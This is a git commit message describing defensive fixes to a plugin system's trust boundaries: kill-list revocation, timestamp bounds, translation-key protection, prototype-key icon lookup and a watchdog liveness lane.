NeilandOrca 5c59c84c7a fix(plugins): close four trust-boundary holes in the plugin system (#11232)
* fix(plugins): close trust-boundary holes in the plugin system

Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.

- Kill-list revocation reaches content packs: PluginContentPackRegistry now
  takes an isKilled predicate and intersects it with any caller-supplied
  approval, so a killed plugin's VM recipes can no longer reach
  spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
  A far-future timestamp previously made every genuine later list look
  "older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
  instead of an enumerated prefix list, so language packs cannot forge the
  consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
  previously yielded non-component prototype members that crashed the
  right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
  saturates its action budget can still answer the watchdog.

* fix(plugins): keep the kill-list future bound off the cache read path

The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.

* fix(plugins): remove the reserved-lane starvation window and the revocation TOCTOU

Review follow-ups on the trust-boundary fixes:

- The reserved liveness lane had a per-window count equal to the ping
  interval, so a panel's own pong-shaped traffic could spend it and drop
  the next genuine reply — reintroducing the starvation the lane exists to
  prevent. The lane is now size-bounded only; rate stays bounded because
  every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
  cannot drain it. readPanelPongId replaces the zod parse on this
  guest-controlled path (a rejected safeParse allocates an issue list, ~90x
  the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
  before an awaited verification phase, so a plugin killed during that wait
  could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
  when both sides fell back to Plug.

* fix(plugins): match zod's safe-integer bound in the pong reader

readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.
